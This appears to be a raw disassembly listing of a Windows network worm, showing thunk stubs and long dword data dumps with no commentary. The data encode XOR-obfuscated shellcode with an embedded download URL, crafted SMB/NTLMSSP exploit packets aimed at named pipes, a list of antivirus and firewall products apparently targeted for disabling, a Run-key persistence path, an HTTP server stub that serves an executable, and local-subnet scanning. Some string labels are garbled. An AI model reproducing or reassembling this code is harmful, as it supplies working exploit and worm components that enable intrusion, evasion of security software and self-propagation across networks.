sub_43F879	proc near		; CODE XREF: sub_43E315+21p
		jmp	dword ptr ds:loc_405345+3
sub_43F879	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F885	proc near		; CODE XREF: sub_43E315+4Bp
					; sub_43E380+40p ...
		jmp	dword ptr ds:loc_40534B+1
sub_43F885	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F891	proc near		; CODE XREF: sub_43E380+16p
					; sub_43F142+1D1p
		jmp	dword ptr ds:loc_40534B+5
sub_43F891	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F89D	proc near		; CODE XREF: sub_43E380+36p
		jmp	dword ptr ds:loc_40534B+9
sub_43F89D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8A9	proc near		; CODE XREF: sub_43E315+41p
		jmp	dword ptr ds:loc_405357+1
sub_43F8A9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8B5	proc near		; CODE XREF: sub_43E255+15p
		jmp	dword ptr ds:loc_405364
sub_43F8B5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8C1	proc near		; CODE XREF: .data:0043E21Bp
		jmp	dword ptr ds:sub_405368
sub_43F8C1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8CD	proc near		; CODE XREF: .data:0043EE2Ap
					; .data:0043EE64p ...
		jmp	dword ptr ds:loc_40536B+1
sub_43F8CD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8D9	proc near		; CODE XREF: .data:0043E246p
		jmp	dword ptr ds:loc_405370
sub_43F8D9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8E5	proc near		; CODE XREF: sub_43E741+B2p
					; sub_43E741+D0p ...
		jmp	dword ptr ds:loc_405374
sub_43F8E5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8F1	proc near		; CODE XREF: sub_43E741+16Dp
					; sub_43E741+2E4p ...
		jmp	dword ptr ds:loc_405374+4
sub_43F8F1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F8FD	proc near		; CODE XREF: .data:0043E19Cp
		jmp	dword ptr ds:loc_40537C
sub_43F8FD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F909	proc near		; CODE XREF: sub_43E640:loc_43E669p
					; sub_43E640:loc_43E6C3p ...
		jmp	dword ptr ds:loc_40537F+1
sub_43F909	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0
; [00000006 BYTES: COLLAPSED FUNCTION j_aARc. PRESS KEYPAD "+" TO EXPAND]
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F921	proc near		; CODE XREF: .data:0043E45Bp
					; sub_43E640+F4p ...
		jmp	dword ptr ds:loc_405388
sub_43F921	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F92D	proc near		; CODE XREF: .data:0043EDEEp
		jmp	dword ptr ds:loc_405388+4
sub_43F92D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F939	proc near		; CODE XREF: sub_43E255+6Bp
					; sub_43E255+8Ep ...
		jmp	dword ptr ds:loc_40538F+1
sub_43F939	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F945	proc near		; CODE XREF: sub_43F619+17p
		jmp	dword ptr ds:loc_405391+3
sub_43F945	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F951	proc near		; CODE XREF: .data:0043E40Cp
					; .data:0043E428p
		jmp	dword ptr ds:loc_405398
sub_43F951	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	17h dup(0)
		dd 40300000h, 40311000h, 800000h, 22h dup(0)
		dd 5000h, 0
		dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah
		dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch,	746845EBh
		dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah
		dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h
		dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h
		dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h
		dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh
		dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h
		dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h,	414C999h
		dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h,	10A7C196h
		dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h
		dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h,	4EC999C9h
		dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h
		dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh
		dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h,	99C999E3h
		dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h,	0C999672Ch
		dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h
		dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h
		dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h
		dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h
		dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh
		dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h)
		dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h
		dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h,	0C983639Dh
		dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h,	91720A95h
		dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h,	529AE180h
		dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh,	0DB9BAB9Eh
		dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
		dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
		dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h,	0A98712FEh
		dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h,	0
		dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh
		dd 100h, 8829700h, 0E0h, 3 dup(0)
		dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h,	300030h
		dd 200030h, 310032h, 350039h, 570000h, 6E0069h,	6F0064h
		dd 730077h, 320020h, 300030h, 200030h, 2E0035h,	30h, 0
		dd 0FFDA0000h, 73424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF00h, 0C002008h,	0DA00FFh, 0A1104h, 0
		dd 570000h, 0
		dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h
		dd 0
		dd 470000h, 0
		dd 400000h, 0
		dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h
		dd 48E088h, 44004Fh, 6A198100h,	49E4F27Ah, 30AF281Ch, 67107425h
		dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h
		dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h
		dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h
		dd 30002E00h, 2	dup(0)
		dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h
		dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh,	32002Eh
		dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h
		dd 0A2424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0
		dd 9F000000h, 201h, 2 dup(0)
		dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h
		dd 73006C00h, 72006100h, 63007000h, 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h
		dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0)
		dd 0DC080000h, 60080004h, 1000h, 0CA0h,	400h, 2	dup(0)
		dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h
		dd 5C004500h, 0
		dd 500h, 1003h,	0CA000h, 100h, 0C8800h,	9000000h, 3EC00h
		dd 0
		dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h
		dd 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF08h, 0E006008h,	0DEDE00FFh, 4000h, 0FFFF0000h
		dd 8FFFFh, 10B8h, 4010B8h, 0
		dd 5EE10B9h, 10010000h,	0B8000000h, 1000010h, 0C000000h
		dd 20h,	0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh
		dd 25h,	0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 10h dup(0)
		dd 460000h, 101h, 0Dh dup(0)
		dd 15123C00h, 275h, 0Dh	dup(0)
		dd 1C123C00h, 75h, 0Eh dup(0)
		dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h
		dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h
		dd 404CCF00h, 200h, 80h, 0
		dd 404CB500h, 0
		dd 404C9C00h, 2	dup(0)
		dd 404C8C00h, 2	dup(0)
		dd 404C8200h, 2	dup(0)
		dd 404C6900h, 2	dup(0)
		dd 404C5000h, 2	dup(0)
		dd 404C4300h, 2	dup(0)
		dd 404C3300h, 100h, 0
		dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h,	0
		dd 404C1900h, 2	dup(0)
		dd 404C1200h, 100h, 0
		dd 404C0C00h, 100h, 0
		dd 404C0300h, 100h, 0
		dd 404BFC00h, 100h, 0
		dd 404BF300h, 100h, 0
		dd 404BEC00h, 100h, 0
		dd 404BE500h, 100h, 0
		dd 404BDD00h, 100h, 0
		dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h,	0
		dd 404BC800h, 100h, 0
		dd 404BC100h, 100h, 0
		dd 404BBB00h, 100h, 0
		dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h,	0
		dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h,	0
		dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h
		dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h
		dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h
		dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h
		dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h
		dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h
		dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h
		dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch
		dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h
		dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h
		dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h
		dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h
		dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh
		dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh
		dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h
		dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h
		dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah
		dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh
		dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h
		dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h
		dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh
		dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h
		dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h
		dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch
		dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h
		dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh
		dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h
		dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh
		dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch
		dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h
		dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0)
		dd 50F400h, 2 dup(0)
		dd 57F400h, 524C00h, 513800h, 2	dup(0)
		dd 583C00h, 529000h, 514400h, 2	dup(0)
		dd 584C00h, 529C00h, 515000h, 2	dup(0)
		dd 585C00h, 52A800h, 51AC00h, 2	dup(0)
		dd 58C000h, 530400h, 51D800h, 2	dup(0)
		dd 58F000h, 533000h, 520C00h, 2	dup(0)
		dd 592C00h, 536400h, 1Ah dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 2 dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 0
		dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h
		dd 74h,	62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h
		dd 7465h, 63003800h, 656E6E6Fh,	7463h, 67003B00h, 6F687465h
		dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h
		dd 656Dh, 68004600h, 736E6F74h,	69004700h, 5F74656Eh, 72646461h
		dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h
		dd 6Eh,	72004F00h, 766365h, 73005500h, 646E65h,	73005900h
		dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h
		dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h
		dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h
		dd 65646C6Fh, 74615072h, 4168h,	45008200h, 54746978h, 61657268h
		dd 64h,	4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h
		dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h
		dd 6449h, 4700F800h, 69467465h,	6953656Ch, 657Ah, 47010C00h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h
		dd 65736F6Ch, 646E6148h, 656Ch,	47015500h, 69547465h, 6F436B63h
		dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h
		dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh
		dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh
		dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h
		dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h
		dd 4165h, 5201FA00h, 46646165h,	656C69h, 52020E00h, 6E556C74h
		dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh
		dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h
		dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h
		dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h
		dd 4165h, 5300FE00h, 69547465h,	72656Dh, 52000200h, 73696765h
		dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h
		dd 4165h, 54002400h, 736E6172h,	6574616Ch, 7373654Dh, 656761h
		dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h
		dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h
		dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h
		dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh
		dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h
		dd 65h,	4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h
		dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h
		dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch
		dd 756C6156h, 4165h, 52017100h,	72436765h, 65746165h, 4579654Bh
		dd 4178h, 52017400h, 6C436765h,	4B65736Fh, 7965h, 52017900h
		dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h
		dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h
		dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h
		dd 70h,	65020A00h, 746978h, 6D025400h, 70636D65h, 79h
		dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h
		dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h
		dd 6674h, 73026F00h, 646E6172h,	73027100h, 61637274h, 74h
		dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h
		dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh	dup(40500000h)
		dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h
		dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh
		dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h
		dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h
		dd 4Ch,	0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h
		dd 0Eh dup(40507800h), 25h dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 2A0000h, 300000h, 480000h
		db 2 dup(0)
word_4411DA	dw 7C40h		; DATA XREF: sub_403AC7+41o
		db 0
aG8c5		db 'G8C: 5',0           ; DATA XREF: sub_403BAD+20o
aBpUp		db 'BP~up',0            ; DATA XREF: sub_403BAD+5Eo
aZs		db 'zS',0               ; DATA XREF: sub_403BAD+128o
byte_4411ED	db 5Eh,	68h, 56h	; DATA XREF: sub_403BAD+14Eo
		dd 7F734220h
		db 0
aJSovv		db 'j# so‚V',0          ; DATA XREF: sub_403BAD+17Ao
byte_4411FD	db 0			; DATA XREF: sub_403D6F+20o
byte_4411FE	db 0			; DATA XREF: sub_403D6F+31o
aXf7		db ';xF:7=',0           ; DATA XREF: sub_403D6F+139o
aXvQu		db 'x‚-QU',0            ; DATA XREF: sub_403D6F+15Bo
byte_44120C	db 0			; DATA XREF: sub_403D6F+16Fo
aJdh1c		db ' Jdh1c',0           ; DATA XREF: sub_404156+26o
word_441214	dw 4Eh			; DATA XREF: sub_404156+83r
		align 4
		dd 8, 0Ah
dword_441220	dd 8Ah							; sub_404201:loc_404228r ...
byte_441224	db 70h,	34h, 0		; DATA XREF: sub_4042A4+16o
dword_441227	dd 552156h	byte_44122B	db 79h			; DATA XREF: sub_4042A4+7Fo
		db 20h,	0
word_44122E	dw 0			; DATA XREF: sub_4042A4+1DBo
		dd 5, 12h
dword_441238	dd 0							; .text:loc_4045A4r ...
dword_44123C	dd 0							; sub_404602+4Ar ...
dword_441240	dd 0				dd 3, 0Fh
dword_44124C	dd 0							; sub_40470D:loc_4046FFr ...
aAKS		db 'A k  &s',0          ; DATA XREF: sub_404770+26o
aMusr		db ' musR',0            ; DATA XREF: sub_40479E+6o
byte_44125E	db 0			; DATA XREF: sub_40479E+30o
byte_44125F	db 0			; DATA XREF: sub_40479E+200o
dword_441260	dd 83266Bh	byte_441264	db 0			; DATA XREF: sub_404A6B+33o
aHSl?2		db 'h&sL?2*',0          ; DATA XREF: sub_404A6B+5Ao
word_44126D	dw 78h			; DATA XREF: sub_404D49+74r
aUwV		db 'uW V',0             ; DATA XREF: sub_404DE3+DCo
		dd 3
dword_441278	dd 0Fh							; sub_405217:loc_40527Cr
dword_44127C	dd 0							; sub_404FE7:loc_40500Er ...
aAKS_0		db 'A k  &s',0          ; DATA XREF: sub_40507F+11o
dword_441288	dd 73756Dh	dword_44128C	dd 2							; sub_4063A9+315r
dword_441290	dd 0Ah							; sub_4056EE+131r ...
dword_441294	dd 0							; sub_4052CE:loc_4052FBr ...
dword_441298	dd 0		byte_44129C	db 0			; DATA XREF: sub_405368:loc_405374o
aARc		db 'a`rc',0             ; DATA XREF: sub_405368+1Ao
byte_4412A2	db 0			; DATA XREF: sub_405368+6Co
byte_4412A3	db 6Ah			; DATA XREF: sub_405409+1Bo
		dd 6864207Fh
		db 42h,	43h, 0
byte_4412AB	db 0			; DATA XREF: sub_405409+29o
byte_4412AC	db 0			; DATA XREF: sub_405409+1B3o
a8x6d		db '8x6d',0             ; DATA XREF: sub_405600+1Co
aLw		db 'Lw%$',0             ; DATA XREF: sub_405600+6Fo
aQ		db 'q<',0               ; DATA XREF: sub_4056EE+22o
aR1		db 'R1|`',0             ; DATA XREF: sub_4056EE+E9o
word_4412BF	dw 3Ch			; DATA XREF: sub_4056EE+F6r
a_mU2		db '%.m%u2',0           ; DATA XREF: sub_4056EE+16Fo
byte_4412C8	db 0			; DATA XREF: sub_4056EE+182o
aMZW		db 'M=z>w',0            ; DATA XREF: sub_4056EE+266o
aRIAb		db 'r I^^€b',0          ; DATA XREF: sub_4056EE+279o
dword_4412D7	dd 367E7Ah	aFBe		db 'F#=e ',0           ; DATA XREF: sub_4056EE+5F3o
word_4412E2	dw 7Eh			; DATA XREF: sub_4056EE+6F4r
aYmkm		db ' ymkm&',0           ; DATA XREF: sub_4056EE+707o
aWG		db '%W*ƒ',0             ; DATA XREF: sub_4056EE+7CFo
word_4412F0	dw 69h			; DATA XREF: sub_4056EE+864r
aTcurf		db 'TcUrf',0            ; DATA XREF: sub_4056EE+94Eo
dword_4412F8	dd 20245Fh	aPxpwz		db 'pxPwz',0            ; DATA XREF: sub_406081+80o
word_441302	dw 4Dh			; DATA XREF: sub_406081:loc_406267r
a4VVx		db '4:V<vX',0           ; DATA XREF: sub_406081+1F9o
byte_44130B	db 0			; DATA XREF: sub_406081+275o
dword_44130C	dd 56303Ch	dword_441310	dd 656943h	aGf		db '+GF ',0             ; DATA XREF: sub_4063A9+20o
aHv1xj		db 'hV1xJ',0            ; DATA XREF: sub_4063A9+43o
a6djg		db '6DJg',0             ; DATA XREF: sub_4063A9+1EFo
asc_441324	db '&X',0               ; DATA XREF: sub_4063A9+39Ao
word_441327	dw 20h			; DATA XREF: sub_4063A9+3DEr
		align 4
		dd 2
dword_441330	dd 10h		dword_441334	dd 0							; sub_4068DC:loc_40690Ar ...
dword_441338	dd 0							; sub_406B40+36r ...
dword_44133C	dd 0							; sub_4069C8+1Ar ...
dword_441340	dd 0FFFFh						; sub_406B40+132r ...
aK3s		db 'k-#3S ',0           ; DATA XREF: sub_406966+Co
aOdvgM		db 'ODvG-M',0           ; DATA XREF: sub_406966+26o
aESk		db 'E`Sk ',0            ; DATA XREF: sub_4069C8+69o
asc_441358	db ' + ',27h,'<',0      ; DATA XREF: sub_406A44+20o
aVifa		db 'ViFA',0             ; DATA XREF: sub_406A44+80o
dword_441363	dd 792321h	aMVaj		db 'M ‚€J',0            ; DATA XREF: sub_406B40+185o
		align 10h
dword_441370	dd 4							; sub_407F91+48r
dword_441374	dd 0Bh							; sub_406E3F+F78r
dword_441378	dd 0							; sub_406DB4:loc_406DE1r ...
dword_44137C	dd 1							; sub_408043+1Ao
byte_441380	db 0			; DATA XREF: sub_406E3F+100Dr
		align 2
		dw 2Dh
		dd 734125h
word_441388	dw 7Eh			; DATA XREF: sub_406E3F+ABr
dword_44138A	dd 496923h	aTnaJ4		db 'TNa=J:4',0          ; DATA XREF: sub_406E3F+E6o
word_441396	dw 3Eh			; DATA XREF: sub_406E3F+13Br
aIho		db 'iHO$|',0            ; DATA XREF: sub_406E3F+1E3o
aEOsj		db 'E osJ',0            ; DATA XREF: sub_406E3F+1F7o
byte_4413A4	db 0			; DATA XREF: sub_406E3F+269o
